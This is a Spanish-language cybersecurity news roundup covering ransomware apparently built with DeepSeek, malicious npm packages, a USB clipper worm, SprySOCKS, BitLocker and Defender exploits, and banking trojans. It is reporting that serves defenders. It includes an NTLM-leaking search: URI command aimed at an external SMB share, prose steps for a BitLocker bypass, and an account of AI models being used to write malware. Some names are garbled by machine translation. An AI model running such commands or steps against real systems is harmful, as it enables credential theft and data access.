El ransomware de navegador generado por IA abusa de la API de Chromium en Windows y Android – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han marcado un nuevo artefacto de malware generado utilizando DeepSeek que construyó una ruta de ataque novedosa que combina «conceptos de malware de navegador poco realistas con una capacidad real del navegador» para convertirlo en una técnica de ransomware funcional que se ejecuta completamente dentro del navegador en dispositivos Windows y Android.

«Este es el primer caso documentado en el que un modelo de inteligencia artificial de frontera cerró de forma independiente la brecha entre un riesgo teórico de ransomware exclusivo del navegador y una cadena de ataque práctica y funcional, lo que reveló una ruta de ataque novedosa que los defensores habían descartado anteriormente como inviable debido a los límites del espacio aislado del navegador», dijo Check Point en un comunicado compartido con The Hacker News.

«La experiencia necesaria para descubrir una nueva ruta de ataque ya no es el cuello de botella, y los defensores deben tener en cuenta ese cambio ahora, antes de que los actores de amenazas lo pongan en práctica a escala».

La muestra identificada es una aplicación Python Flask llamada «deepseek_python_20260125_da0631.py» que se subió a VirusTotal el 25 de enero de 2026, y el servicio de escaneo de malware propiedad de Google lo describió como un «kit de herramientas de ransomware y ladrón de información completamente funcional». InfernoGrabber v9.0 del autor del malware.

Ciberseguridad

La aplicación está diseñada para funcionar como un servidor web malicioso que atrae a las víctimas con un escalador de IA de avatar de Discord falso, mientras ejecuta sigilosamente una amplia gama de acciones dañinas, incluido el robo de tokens de Discord, la recopilación de números de tarjetas de crédito y frases iniciales de criptomonedas, el registro de pulsaciones de teclas y la captura de transmisiones de micrófonos y cámaras web no autorizadas.

«El código incluye rutinas específicas para la explotación del navegador (dirigidas a CVE como CVE-2023-4863), exfiltración de datos a través de un webhook de Discord codificado, una pantalla de ransomware ‘WinLocker’ que exige Bitcoin y un panel administrativo para que el atacante administre los datos robados», según VirusTotal.

Los hallazgos se producen mientras la inteligencia artificial y los grandes modelos de lenguaje (LLM) están redefiniendo el panorama de las amenazas cibernéticas, permitiendo a los actores de amenazas abusar de la tecnología para desarrollar malware y exploits. El uso de DeepSeek es digno de mención, ya que indica que los modelos de la compañía china tienen tasas de rechazo más bajas para solicitudes cibernéticas maliciosas en comparación con sus homólogos occidentales de Anthropic, Google u OpenAI.

Otros factores que pueden haber facilitado el uso de DeepSeek son su acceso gratuito a través de la interfaz web, su disponibilidad en regiones donde no operan otros modelos fronterizos y su capacidad para generar una aplicación maliciosa funcional a partir de un «único mensaje amplio» a diferencia de los modelos de Anthropic u OpenAI.

«Los modelos DeepSeek pueden convertir ideas maliciosas de alto nivel en ataques concretos y completos con menos experiencia que las plataformas de la competencia», afirmó Check Point Research.

La empresa israelí de ciberseguridad dijo que descubrió el artefacto Python como parte de su análisis de unos 3.000 archivos atribuidos a DeepSeek durante el año pasado. De ellas, 1.383 muestras han sido clasificadas como maliciosas o peligrosas. El malware Python es un ejemplo de lo que se llama In-Browser Ransomware que implementa una técnica nativa del navegador que no se encontraba en campañas del mundo real en el pasado. Se desconoce el mensaje exacto que se utilizó para producir la muestra.

La técnica de ataque implica el uso de un señuelo de phishing para engañar a un usuario para que conceda acceso al sistema de archivos de una página web, que luego enumera los archivos locales en la carpeta seleccionada, lee y filtra su contenido, los cifra y sobrescribe, y finalmente muestra una nota de extorsión a la víctima. Lo que hace que esto sea más inusual es que todo esto se puede lograr sin instalar una carga útil nativa, explotar una vulnerabilidad del navegador o requerir acceso de root.

Vale la pena mencionar aquí que el enfoque se limita a los navegadores web que exponen el selector basado en API de acceso al sistema de archivos. Esto incluye Google Chrome y otros navegadores basados ​​en Chromium en los sistemas operativos Windows y Android. No hay evidencia de que se haya abusado del patrón de ransomware nativo del navegador en la naturaleza.

Ciberseguridad

Otro aspecto preocupante del desarrollo asistido por IA es que no sólo reduce la barrera para que los malos actores generen código ofensivo, sino también el hecho de que ni siquiera necesitan saber que existe dicha API de acceso al sistema de archivos, ni tener la experiencia técnica para abusar de ella.

Dicho de otra manera, ingresar un mensaje demasiado amplio es suficiente para que un LLM (sujeto a barreras de seguridad, o a la falta de ellas) formule un plan de ataque funcional a partir de una solicitud maliciosa abstracta. Cuando un usuario con conocimientos técnicos limitados describe requisitos poco realistas, el modelo, en su búsqueda por satisfacerlos, puede generar resultados alucinantes, sacando a la luz técnicas inusuales en el proceso.

«Lo que estamos presenciando es un cambio fundamental en cómo nacen los nuevos ciberataques. Por primera vez, tenemos evidencia de que un modelo de IA puede razonar de forma independiente a través de características legítimas de la plataforma y sacar a la luz una técnica de ataque funcional sobre la cual los humanos sólo habían teorizado, sin que el atacante supiera que existía la API subyacente», dijo en un comunicado Eli Smadja, jefe de investigación de Check Point Research.

«La barrera para poner en práctica ataques complejos se está derrumbando, y eso tiene profundas implicaciones para cada organización que incorpora IA en sus flujos de trabajo, y para cada usuario móvil que ahora lleva toda su vida personal y profesional dentro de una biblioteca de fotos. El futuro de la seguridad de la IA no puede descansar en la esperanza de que los modelos rechacen la solicitud maliciosa obvia; debe asumir que la siguiente técnica de ataque será descubierta no por un investigador humano, sino por una alucinación de la IA que accidentalmente hizo algo bien».

Smadja también insta a las organizaciones a prepararse fortaleciendo la capa de entrega, reconsiderando la confianza basada en permisos y tratando cada mensaje del navegador como una decisión de seguridad.

Los paquetes npm maliciosos se hacen pasar por herramientas PostCSS para entregar Windows RAT – CYBERDEFENSA.MX

Investigadores de ciberseguridad han descubierto un conjunto de paquetes npm maliciosos que están diseñados para entregar un troyano de acceso remoto (RAT) basado en Windows.

La lista de paquetes identificados se encuentra a continuación:

  • aes-decode-runner-pro (145 descargas)
  • postcss-minify-selector (256 descargas)
  • postcss-minify-selector-parser (615 descargas)

Todos los paquetes fueron publicados durante el mes pasado por un usuario de npm llamado «abdrizak» y seguirá estando disponible para descargar desde npm al momento de escribir este artículo.

«Aes-decode-runner-pro y postcss-minify-selector-parser se presentan como paquetes AES/códec personalizado en capas y dependen del postcss-selector-parser legítimo», JFrog dicho en un análisis. «Postcss-minify-selector se presenta como un minificador de selector PostCSS y depende de postcss-minify-selector-parser».

En cuanto a «postcss-minify-selector-parser», el nombre es una referencia a «analizador-selector-postcss,» una biblioteca npm ampliamente utilizada con más de 127 millones de descargas semanales. Independientemente del paquete descargado, la cadena de ataque conduce a la implementación del mismo malware de Windows.

Ciberseguridad

Los paquetes vienen integrados con un cuentagotas de JavaScript que escribe un script de PowerShell («settings.ps1») en el disco y lo ejecuta. Luego, el script de PowerShell actúa como un descargador de una carga útil de la siguiente etapa recuperada de un servidor externo («nvidiadriver[.]net») usando «curl.exe».

La carga útil recuperada es un archivo ZIP, del cual se extrae un archivo Visual Basic Script («update.vbs») y se ejecuta usando «wscript.exe». También se incluye en el archivo ZIP descargado un tiempo de ejecución de Python, un cargador de Python («loader.py») y varios módulos de extensión de Python (*.pyd) compilados usando Nuitka.

Visual Basic es responsable de configurar el entorno Python en el host comprometido y de iniciar el script «loader.py», que luego activa la lógica central del malware. El RAT está equipado para recopilar información del host, desviar credenciales de Google Chrome, recopilar datos de extensiones de Chrome, ejecutar comandos de shell y descargar/cargar archivos hacia y desde un servidor de comando y control (C2) («95.216.92[.]207:8080»).

Estas características se implementan a través de un conjunto de módulos de extensión nativos de Python:

  • config.pyd, que contiene constantes, ID de comando, URL C2 y nombres de claves de registro
  • api.pyd, que maneja el intercambio de paquetes HTTP C2
  • audiodriver.pyd, que maneja el bucle de orquestación principal de RAT
  • command.pyd, que perfila el host, ejecuta comprobaciones de máquinas virtuales (VM), transferencia de archivos y ejecución de shell
  • auto.pyd, que realiza el robo de extensiones y credenciales de Chrome, evitando las protecciones de cifrado vinculado a aplicaciones (ABE)
  • util.pyd, que actúa como ayudante de archivo tar/gzip

«Este caso muestra cómo un pequeño paquete similar a un analizador puede ocultar una carga útil de Windows de varias etapas mientras parece estar relacionado con herramientas de compilación legítimas con un uso semanal masivo», dijo JFrog. «Para los defensores, la lección importante es tratar las dependencias de construcción similares como posibles mecanismos de entrega, no simplemente como un ruido de nombres inofensivo».

El descubrimiento coincide con otras tres campañas dirigidas al ecosistema npm y TypeScript:

  • Un paquete malicioso llamado «apintergrationpost» que ofrece un RAT Linux con todas las funciones denominado MYRA, al tiempo que afirma ser un cliente de integración Node.js para ejercicios autorizados del equipo rojo. «Compila un rootkit C nativo durante la instalación, establece tres mecanismos de persistencia independientes, se hace pasar por un servicio systemd, admite la ejecución sin archivos y proporciona acceso interactivo al shell con transmisión de pantalla en vivo», dijo SafeDep.
  • Un paquete malicioso llamado «@withgoogle/stitch-sdk» que se hace pasar por la herramienta de diseño Stitch AI de Google, pero viene con capacidades para robar credenciales de desarrollador de ocho fuentes (Claude Code, git config, ~/.git-credentials, claves públicas SSH, GitHub CLI, npm config, ~/.npmrc y ~/.docker/config.json) y las exfiltra a un dominio controlado por un atacante («stitch-production[.]org/api/v1»).
  • un grupo de cinco paquetes («procwire», «routecraft», «endpointmap», «bytecraft» y «staticlayer») que entrega un binario dropper en hosts de Windows desde un servidor externo y lo ejecuta durante la instalación de npm. El paquete «routecraft» enumera «procwire» como dependencia, mientras que este último enumera «endpointmap» y «bytecraft» como dependencias. El último paquete, «staticlayer», está diseñado para ejecutarse en el lado del servidor y entregar archivos a un cliente que presenta el User-Agent exacto del dropper.
Ciberseguridad

Se recomienda a los usuarios que hayan instalado cualquiera de los paquetes anteriores que los eliminen con efecto inmediato, eliminen cualquier artefacto creado por ellos y roten las credenciales de las máquinas de desarrollo afectadas.

Los hallazgos también coinciden con una ataque a la cadena de suministro apuntando al «gonex-AI/Entender-cualquier cosa» herramienta de gráfico de conocimiento para impulsar una carga útil maliciosa que «señala uno de los tres servidores C2 codificados, extrae un marcador de campaña, descifra XOR y evalúa un cliente bot descargado, luego resuelve de forma independiente un comando de segunda etapa desde una dirección de blockchain de Tron cuya última transacción codifica un hash de transacción BSC que lleva la carga útil activa».

La actividad se superpone con una operación de la cadena de suministro de Corea del Norte denominada PolinRider, que ha sido observado inyectar JavaScript ofuscado en archivos de configuración de desarrolladores legítimos en casi 2000 repositorios de GitHub comprometidos para ofrecer un conocido descargador y ladrón de malware denominado BeaverTail, que luego allana el camino para la puerta trasera InvisibleFerret.

«Este ataque combina tres cosas que individualmente son familiares pero que juntas abren una brecha de detección: una descripción de relaciones públicas falsa elaborada con evidencia de prueba fabricada, una diferencia que oculta su carga útil en un espacio en blanco horizontal y un C2 de dos etapas donde la segunda etapa utiliza la infraestructura pública de blockchain como un relé de escritura única y lectura en cualquier lugar», dijo SafeDep.

Microsoft detalla la campaña de malware Windows Clipper utilizando el gusano USB LNK y C2 basado en Tor – CYBERDEFENSA.MX

Microsoft ha revelado detalles de una campaña de eliminación de criptomonedas basada en Windows que se ha dirigido a los usuarios desde febrero de 2026.

«El clipper de esta campaña se basa en Windows Script Host y en la lógica impulsada por ActiveX para lanzar un proxy Tor incluido y sondear un servicio oculto C2. [command-and-control] servidor», el equipo de investigación de seguridad de Microsoft Defender dicho en un análisis publicado el martes. «Lleva a cabo robo de portapapeles de alta frecuencia, exfiltración de capturas de pantalla y sustitución de direcciones de billetera».

«La ejecución de este clipper es notable porque no depende de un instalador tradicional o de una infraestructura C2 basada en IP expuesta. En cambio, implementa un cliente Tor portátil, enruta el tráfico a través de un proxy SOCKS5 local y combina el robo de datos con la ejecución remota de código, convirtiendo a un ladrón con motivación financiera en una puerta trasera liviana».

Ciberseguridad

El malware Clipper se refiere a un tipo de software malicioso que monitorea silenciosamente el portapapeles de un usuario e intercepta datos confidenciales pegados en el búfer de corto plazo. Se dirige principalmente a las transacciones de criptomonedas sustituyendo cadenas de direcciones de billetera que coinciden con patrones de direcciones de blockchain conocidos para redirigirlas a direcciones bajo su control.

Los ataques implican la distribución de un archivo malicioso de acceso directo de Windows (LNK) a través de dispositivos de almacenamiento USB, cuya apertura activa un componente de gusano que verifica si la máquina ya está infectada y solo procede a buscar la carga útil de un servidor remoto si no está presente. Un segundo módulo implementado es el clipper que recolecta y extrae información de la billetera de criptomonedas.

La carga útil LNK escanea el dispositivo USB en busca de tipos de documentos comunes como DOC, XLSX y PDF y, si los encuentra, los oculta y crea nuevos archivos LNK con los mismos nombres de archivo y que contienen argumentos que se alinean con el componente del gusano. Por lo tanto, cuando un usuario desprevenido inicia el acceso directo pensando que está abriendo un documento inofensivo, se desencadena la ejecución del malware.

El componente del gusano, además de garantizar la propagación a otras unidades USB no comprometidas, implementa tareas programadas como una forma de persistencia tanto para el componente del gusano como para el componente ladrón. El cortapelos, por su parte, utiliza WScript y ActiveXObject para interactuar con el sistema operativo y sale si el Administrador de tareas se encuentra entre la lista de procesos en ejecución activa para evadir la detección.

En la etapa final, el malware lanza un binario Tor renombrado en una ventana oculta, genera un identificador de víctima único y lo registra en el servidor externo. Una vez que se completa este paso, el malware entra en un bucle continuo, sondeando periódicamente el servidor C2 en busca de instrucciones y al mismo tiempo monitorea el portapapeles cada 500 milisegundos para extraer frases iniciales y claves privadas.

Ciberseguridad

«También secuestra direcciones de criptomonedas reemplazando valores de billetera copiados con alternativas controladas por atacantes y carga capturas de pantalla a través de Tor», dijo Microsoft. «Si el C2 devuelve una respuesta EVAL, el malware ejecuta el código proporcionado por el atacante en tiempo de ejecución».

El gigante tecnológico ha recomendado que los defensores den prioridad a las detecciones de comportamiento sobre las firmas estáticas, buscando específicamente la captura de pantalla basada en PowerShell y el uso de WScript, CScript o motores de script relacionados para iniciar curl, cmd.exe, PowerShell o ejecutables inesperados.

Otras mitigaciones incluyen deshabilitar la ejecución automática/reproducción automática para todos los medios extraíbles, bloquear la ejecución de LNK desde unidades extraíbles a través de objetos de política de grupo (GPO), restringir el uso innecesario de wscript.exe o cscript.exe y revisar los comportamientos relacionados con el portapapeles y las capturas de pantalla en dispositivos que manejan flujos de trabajo financieros confidenciales.

La puerta trasera SprySOCKS vinculada a China se expande a Windows con sigilo basado en controladores – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han detectado dos variantes de Windows no documentadas previamente de lo que se creía que era una puerta trasera exclusiva para Linux llamada SprySOCKS.

«Las variantes de Windows descubiertas están marcadas internamente como WIN_DRV y WIN_PLUS», ESET dicho en un informe compartido con The Hacker News. «Ambos vienen con un C&C codificado [command-and-control] configuración y soporte de comunicación a través de protocolos TCP, UDP y WebSocket.»

Al igual que su contraparte de Linux, las versiones de Windows admiten más de 30 comandos para facilitar la recopilación de información del sistema, la enumeración de procesos, la gestión de servicios y las operaciones del sistema de archivos. También se ha descubierto que WIN_DRV utiliza controladores del kernel para ocultar las conexiones de red, los procesos, los archivos y las claves de registro del malware.

Además, la variante habilita el desvío del tráfico TCP que permite a los operadores de malware enviar comandos a la puerta trasera a través de un puerto TCP aleatorio en el dispositivo de la víctima sin exponer el puerto de escucha real de la puerta trasera en el tráfico de la red.

SprySOCKS fue documentado públicamente por primera vez por Trend Micro en septiembre de 2023, atribuyendo su uso a un actor de amenazas patrocinado por el estado del nexo de China conocido como Earth Lusca, que también es rastreado por la comunidad de ciberseguridad bajo los apodos Aquatic Panda, Bronze University, Charcoal Typhoon y RedHotel. Se considera que el adversario está activo desde al menos 2021 y operado por un contratista chino llamado i-Soon.

Ciberseguridad

El proveedor eslovaco de ciberseguridad, que asignó el nombre FishMonger al grupo de amenazas, lo describió como un grupo de ciberespionaje que cae bajo el paraguas más amplio de Winnti. En un informe publicado en marzo de 2025, la compañía vinculó al grupo de piratas informáticos con una campaña global denominada Operación FishMedley dirigida a siete organizaciones en Taiwán, Hungría, Turquía, Tailandia, Francia y Estados Unidos entre enero y octubre de 2022.

SprySOCKS se basa en un troyano de acceso remoto de Windows llamado Trochilus y comparte varias características comunes con rojohojasuna puerta trasera que también muestra un extenso código fuente que se superpone con Trochilus. Es más, el uso de Trochilus está vinculado a otro actor de amenazas chino conocido como Webworm, que, a su vez, tiene puntos en común tanto con FishMonger como con SixLittleMonkeys.

Cadena de ejecución WIN_DRV

Las variantes de Windows son parte de la versión 1.8 de SprySOCKS, con el Muestra WIN_DRV utilizando un controlador de kernel denominado RawWNPF («KW1B5206BDC1743FP.dat») para un sigilo avanzado, conservando al mismo tiempo la funcionalidad presente en la variante de Linux. El controlador se carga utilizando otro controlador de kernel cifrado llamado DriverLoader («KX1B5206BDC1743DD.dat»).

La cadena de ataque utiliza una ruta de acceso inicial aún indeterminada para eliminar un script por lotes, que luego crea y ejecuta una tarea programada responsable de activar una cadena de carga lateral de DLL que elimina la puerta trasera SprySOCKS y los componentes del controlador. Sin embargo, vale la pena señalar que el grupo ha explotado previamente fallas de seguridad de N días en instancias públicas de Fortinet, GitLab, Microsoft Exchange Server, Progress Telerik UI y Zimbra para hacerse un hueco.

«La versión de Windows conserva la mayor parte de la arquitectura central de su predecesor Linux, incluido el protocolo C&C, el cifrado utilizado y la lógica general de manejo de comandos, al tiempo que sustituye los mecanismos nativos de Windows cuando sea necesario y mejora el sigilo de la puerta trasera al incorporar los controladores del kernel al juego», dijo el investigador de ESET Martin Smolár.

Cadena de ejecución WIN_PLUS

«Las diferencias más notables se pueden detectar en la forma en que se carga la puerta trasera final, en el sigilo mejorado y en los nombres de los componentes y las rutas utilizadas.

El esquema de ejecución WIN_PLUS, por el contrario, adopta un enfoque diferente. Aprovecha el servicio Print Spooler de Windows («spoolsv.exe») como punto de partida para ejecutar un cargador de primera etapa que se ejecuta como un procesador de impresión. Está diseñado para inyectar y ejecutar un cargador SprySOCKS en un proceso «svchost.exe» recién creado para iniciar la puerta trasera.

Ciberseguridad

Ambas variantes WIN_DRV y WIN_PLUS de SprySOCKS son DLL que admiten tres canales para comunicaciones C2 a través de TCP, UDP y WebSocket y ejecutan comandos emitidos por el operador en el host comprometido. Esto incluye recopilar información del sistema, iniciar una consola interactiva, enumerar procesos, obtener detalles de comunicación C2, enumerar todos los servicios, inicializar un proxy SOCKS, cargar/descargar archivos y ejecutar archivos existentes.

La evidencia indica que los artefactos pueden haber sido utilizados entre 2023 y 2024 en ataques contra organizaciones gubernamentales en Honduras, Taiwán, Tailandia y Pakistán. La versión WIN_PLUS se detectó por primera vez en julio de 2024 en el dispositivo de una víctima geolocalizado en Pakistán.

Es más, hay «indicios limitados» que sugieren la participación de un kit de arranque UEFI, que probablemente explota CVE-2023-24932 (puntuación CVSS: 6,7), una vulnerabilidad de omisión de característica de seguridad en el Administrador de arranque de Windows que está asociada con el kit de arranque UEFI BlackLotus. Microsoft solucionó el problema de seguridad en mayo de 2023.

«El descubrimiento de una variante de SprySOCKS para Windows, anteriormente conocida como puerta trasera exclusiva para Linux, representa una expansión significativa de las capacidades multiplataforma de FishMonger», dijo ESET.

«El port de Windows conserva la mayor parte de la arquitectura central de su predecesor Linux, incluido el protocolo C&C, el cifrado utilizado y la lógica general de manejo de comandos, al tiempo que sustituye los mecanismos nativos de Windows cuando sea necesario y mejora el sigilo de la puerta trasera al incorporar los controladores del kernel al juego».

El nuevo exploit GreatXML omite Windows BitLocker a través de archivos XML de partición de recuperación – CYBERDEFENSA.MX

El investigador de seguridad Chaotic Eclipse (también conocido como Nightmare-Eclipse y MSNightmare) ha lanzado una nueva omisión de BitLocker de Windows denominada Gran XMLun día después de que publicaran un exploit para Microsoft Defender.

«Este fue un descubrimiento accidental; se necesitaron un total de 4 horas para encontrarlo», dijo el investigador. dicho en una publicación en Blogger. «Si alguna vez intentaste utilizar el análisis sin conexión de Windows Defender, eres automáticamente vulnerable a una omisión de BitLocker. No estoy seguro de si aún puedes activar el error sin usar la función de análisis sin conexión, porque definitivamente puedes hacerlo».

El exploit funciona de la siguiente manera:

  • Copie un archivo XML («unattend.xml») y una carpeta de recuperación que contenga otro archivo XML («Recovery/WindowsRE/ReAgent.xml) a la raíz de la partición de recuperación.
  • Reinicie en el entorno de recuperación de Windows (WinRE) manteniendo presionada la tecla Mayús mientras hace clic en Reiniciar en el menú de energía de Windows.
Ciberseguridad

Si cada paso se sigue correctamente, el resultado es un shell generado con acceso sin restricciones al volumen de BitLocker.

«Si el escaneo fuera de línea de Defender nunca se inició, entonces debe iniciar sesión e iniciarlo usted mismo o encontrar una manera de iniciar WinRE en estado de escaneo fuera de línea (creo que debería ser muy posible hacerlo sin iniciar sesión) y seguir los pasos anteriores», señaló Chaotic Eclipse.

El lanzamiento de GreatXML llega poco después de RoguePlanet, una falla de día cero en Microsoft Defender que facilita la escalada de privilegios locales (LPE) al SISTEMA, otorgando al atacante la capacidad de ejecutar código arbitrario o realizar acciones no autorizadas.

GreatXML es también el segundo bypass de BitLocker lanzado por Chaotic Eclipse después de YellowKey (también conocido como CVE-2026-45585), cuyos parches fueron lanzados por Microsoft esta semana como parte de las actualizaciones del martes de parches.

Microsoft Defender RoguePlanet Zero-Day otorga acceso al SISTEMA en Windows actualizado – CYBERDEFENSA.MX

El investigador de seguridad anónimo llamado Chaotic Eclipse (también conocido como Nightmare-Eclipse) ha liberado un exploit de prueba de concepto (PoC) para otro día cero de Microsoft Defender llamado Planeta Pícaro.

«El exploit es una condición de carrera, por lo que es un éxito o un fracaso», el investigador, que publicó el exploit en una nueva cuenta de GitHub, «MSNightmare». dicho. «He logrado obtener una tasa de éxito del 100 % en algunas máquinas, mientras que en otras tenía dificultades para funcionar».

Si el exploit tiene éxito, el resultado es un shell con privilegios a nivel de SISTEMA, que otorga al atacante la capacidad de ejecutar código arbitrario o realizar acciones no autorizadas.

El investigador dijo que el exploit se probó en máquinas con Windows 11 y 10 con las actualizaciones del martes de parches de junio de 2026 instaladas, lo que significa que el exploit funciona en las versiones actualizadas del sistema operativo de escritorio.

Ciberseguridad

Dicho esto, el exploit no funciona en instancias de Windows Server en su forma actual ya que «los usuarios estándar no pueden montar una imagen ISO». Chaotic Eclipse enfatizó que las instalaciones de Windows Server también son vulnerables a la falla y que es necesario rediseñar el exploit para que funcione.

«Hacer que este PoC funcionara realmente me agotó el alma, degradó gravemente mi salud física y mental, pero a finales de mayo [sic]se desarrolló una PoC completa», dijo el investigador.

«Los esfuerzos de Microsoft para proteger a Defender de los ataques de redirección de rutas son inútiles. También tengo un lote de vulnerabilidades de corrupción de memoria en Defender y sin mencionar el otro lote de vulnerabilidades que tengo en varios otros componentes».

El investigador de seguridad Will Dormann, en una publicación. compartido en Mastodon, dijo «según se informa, no es 100% confiable, pero funcionó en el primer intento».

RoguePlanet es el último de una serie de fallas descubiertas por Chaotic Eclipse en los últimos meses.

Estas revelaciones no coordinadas son parte de lo que se considera un esfuerzo de represalia luego de una supuesta falla en la comunicación entre el investigador, que no se ha identificado públicamente, y Microsoft.

En publicaciones firmadas criptográficamente en su página de Blogger, Chaotic Eclipse expresó su insatisfacción con la forma en que Microsoft manejó el proceso de divulgación y criticó a la compañía por revocar el acceso a su cuenta del Centro de respuesta de seguridad de Microsoft (MSRC), donde los investigadores pueden informar vulnerabilidades. El investigador también ha acusado a Redmond de humillarlos, desestimar sus informes, no compensarlos por las vulnerabilidades identificadas y difamarlos.

A finales del mes pasado, Microsoft condenó las revelaciones públicas de vulnerabilidades, afirmando que «nunca son justificables» y ponen a los clientes en «riesgos innecesarios». Vale la pena señalar que las tres vulnerabilidades de Defender mencionadas anteriormente han sido explotadas en estado salvaje.

Ciberseguridad

La disputa pública también resultó en la eliminación de sus cuentas de GitHub y GitLab. «Microsoft está intentando hacer un mal uso de su propiedad de GitHub para proteger sólo sus propios productos, y hacer un mal uso de sus amplios vínculos con las autoridades al calificar la publicación de información sobre vulnerabilidades en sus propios productos como comportamiento criminal», dijo el investigador de seguridad Kevin Beaumont. dicho.

«Para ser claros sobre nuestro enfoque en asuntos legales, no tenemos intención de emprender acciones contra personas que realicen o publiquen sus investigaciones de seguridad», Microsoft dicho en una publicación X. «Cuando un individuo infringe la ley y participa en actividades maliciosas que causan un daño real a nuestros clientes, trabajaremos con las autoridades según corresponda».

«Estamos comprometidos a abordar cada interacción con transparencia, comunicación clara y profesionalismo. Seguimos creyendo firmemente en la divulgación coordinada de vulnerabilidades como base para proteger a los clientes y mejorar nuestros productos».

Una vulnerabilidad de URI de búsqueda de Windows sin parches permite a los atacantes robar hashes NTLMv2 – CYBERDEFENSA.MX

Investigadores de ciberseguridad han revelado detalles de un problema sin parchear que podría explotarse para revelar el hash NTLMv2 de un usuario al atacante.

Como en el caso de CVE-2026-33829que afectó al controlador ms-screensketch: URI de la herramienta de recorte de Windows, el problema recién señalado reside en la búsqueda: controlador URI, según Cazadora.

CVE-2026-33829 hace referencia a una vulnerabilidad de suplantación de identidad que podría exponer información confidencial a un actor no autorizado. Microsoft lo parchó en abril de 2026.

«Un atacante podría inducir al usuario a hacer clic en un enlace especialmente diseñado en un navegador web u otra fuente URL, incrustándolo en una página web o mensaje de correo electrónico», señaló Microsoft en su aviso en ese momento.

«Si el usuario aprueba el lanzamiento del enlace, la URL diseñada puede inducir a la computadora a conectarse a un servidor SMB elegido por el atacante, lo que revelaría el hash NTLMv2 del usuario al atacante, quien podría usarlo para autenticarse como usuario».

Ciberseguridad

Específicamente, el problema tenía que ver con el hecho de que el controlador de URI de la herramienta de recorte aceptó un parámetro «filePath», no pudo validarlo y llegaría a cualquier ruta de la Convención de nomenclatura universal (UNC) que se le pasara. Esto, a su vez, podría activar la autenticación NTLM y exponer el hash Net-NTLMv2 de la víctima al atacante.

La deficiencia recién descubierta logra el mismo objetivo final usando «buscar:» y «crumb=ubicación:» en lugar de «filePath» usando un comando como el siguiente:

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

«Utilizó el mismo mecanismo de fuga NTLM, produjo la misma fuga Net-NTLMv2, tenía los mismos requisitos previos y tenía la misma calificación Moderada», dijo el investigador de Huntress, Andrew Schwartz. Vale la pena señalar que el uso de un parámetro «crumb» para robar el hash (CVE-2023-35636) era documentado por Varonis en febrero de 2024.

Como resultado, un actor de amenazas podría aprovechar el hash capturado para realizar ataques de retransmisión y obtener un acceso más profundo a una red. Tras la divulgación responsable el 15 de abril de 2026, Microsoft se negó a abordar el problema y afirmó que «solo los casos de gravedad importantes y críticos cumplen con nuestro estándar de servicio».

En ausencia de una solución, se recomienda bloquear SMB saliente (TCP/445 y TCP/139) en hosts que no lo necesitan, aplicar la firma SMB para que los hashes capturados no puedan transmitirse a servicios internos y deshabilitar NTLM cuando corresponda.

Las campañas de Grandoreiro Malware y BTMOB RAT se dirigen a usuarios de Windows y Android – CYBERDEFENSA.MX

América Latina y Europa se convierten en el objetivo de dos campañas de troyanos bancarios diseñados para infectar dispositivos Windows y Android con malware Grandoreiro y BTMOB, respectivamente.

Esto es según nuevos hallazgos de WatchGuard y ESET, que han observado que las dos familias de malware se utilizan para identificar empresas en España, Portugal y México, así como usuarios de dispositivos móviles en Brasil.

La campaña Grandoreiro «utiliza la técnica DLL Side-Loading abusando de cuatro software diferentes, apuntando a bancos en Portugal», dijo el investigador de WatchGuard Euler Neto. dicho.

Activo desde 2016, Grandoreiro es un malware bancario en evolución activa que es capaz de robar credenciales asociadas con miles de instituciones financieras en 45 países y territorios. Por lo general, se distribuye a través de correos electrónicos de phishing, instruyendo a los destinatarios a hacer clic en enlaces incompletos.

A pesar de algunos arrestos e intentos de las autoridades brasileñas de desmantelar su infraestructura a principios de 2024, el malware ha seguido ampliando su alcance, al tiempo que incorpora comprobaciones CAPTCHA para resistir el análisis.

Se descubrió que la última campaña señalada por WatchGuard aprovecha la carga lateral de DLL para lanzar DLL desarrolladas en Delphi 11, un lenguaje de programación comúnmente utilizado para malware dirigido a la región. Se ha descubierto que dos de las DLL (mingwm10.dll y libwebp.dll) incorporan sgcWebSocketsuna biblioteca de WebSocket y comunicación en tiempo real, para comunicaciones peer-to-peer (P2P) y WebRTC.

Ciberseguridad

«Las DLL asociadas con este caso utilizan las utilidades de recorrido de sesión para NAT (ATURDIR), que es un protocolo que ayuda a los dispositivos detrás de una NAT a descubrir su dirección IP pública y número de puerto, lo que permite la comunicación entre pares», explicó WatchGuard.

«La ventaja para los actores de amenazas de utilizar tráfico de conferencias web en sus campañas se debe a que este tráfico es ruidoso, difícil de monitorear y a que WebRTC se usa comúnmente en todas las principales plataformas de conferencias web».

Otras dos DLL asociadas con la campaña son libffi-6.dll y libpng15.dll, que utilizan Interactive Connectivity Establishment (HIELO) protocolo en lugar de STUN para lograr el mismo objetivo. Estos ficheros hacen referencia específica a bancos e instituciones financieras que operan en Portugal, como Abanca, Banco de Portugal, BBVA PT, Caixa Geral Depositos y Santander, entre otros. También son objetivos Revolut y Wise.

WatchGuard también dijo que identificó otra campaña en el que se utilizan correos electrónicos de phishing para entregar un archivo ZIP alojado en Mediafire. El archivo contiene un script de Visual Basic ofuscado que es responsable de iniciar un ejecutable, que muestra un mensaje que solicita a los usuarios que actualicen Adobe Reader haciendo clic en un botón incrustado en la alerta.

Al hacerlo, se activa una serie de comprobaciones destinadas a evitar la detección y complicar el análisis de malware, antes de lanzar la carga útil final para robar información bancaria y datos confidenciales. Algunas de las tácticas se superponen con una campaña anterior de Grandoreiro detallada por Kaspersky en octubre de 2024.

«La historia más importante aquí no es sólo que Grandoreiro todavía esté activo», dijo WatchGuard. «El problema es que los grupos de amenazas motivados financieramente continúan adaptándose rápidamente, reutilizando servicios legítimos y escondiéndose dentro de patrones de tráfico en los que muchas organizaciones ya pueden confiar».

«Al combinar phishing, carga lateral de DLL, componentes relacionados con WebRTC, abuso de servicios en la nube y comprobaciones antianálisis, estas campañas muestran cómo el malware bancario se está volviendo más difícil de detectar solo con defensas a nivel de superficie».

BTMOB ofrece herramientas de campaña listas para usar

La divulgación coincide con un informe de ESET sobre BTMOB, un troyano de acceso remoto (RAT) de Android que surgió por primera vez en febrero de 2025 con capacidades para desbloquear dispositivos, capturar capturas de pantalla, registrar pulsaciones de teclas, automatizar el robo de credenciales mediante inyecciones de HTML cuando se abren ciertas aplicaciones y habilitar el control remoto. Una iteración posterior introducido la capacidad de capturar PIN de Alipay.

